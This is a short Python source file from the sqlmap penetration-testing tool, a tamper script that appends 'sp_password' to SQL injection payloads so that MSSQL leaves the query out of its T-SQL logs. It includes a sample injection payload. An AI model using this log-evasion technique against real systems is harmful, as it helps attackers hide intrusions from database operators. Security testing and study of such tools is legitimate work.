sqlmap/tamper/sp_password.py

34 lines
837 B
Python
Raw Normal View History

2012-07-06 14:24:55 +04:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
2012-07-06 14:24:55 +04:00
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def tamper(payload, headers=None):
2012-07-06 14:24:55 +04:00
"""
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
Example:
* Input: 1 AND 9227=9227--
* Output: 1 AND 9227=9227--sp_password
Requirement:
* MSSQL
Notes:
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
* Reference: http://websec.ca/kb/sql_injection
"""
retVal = ""
if payload:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
return retVal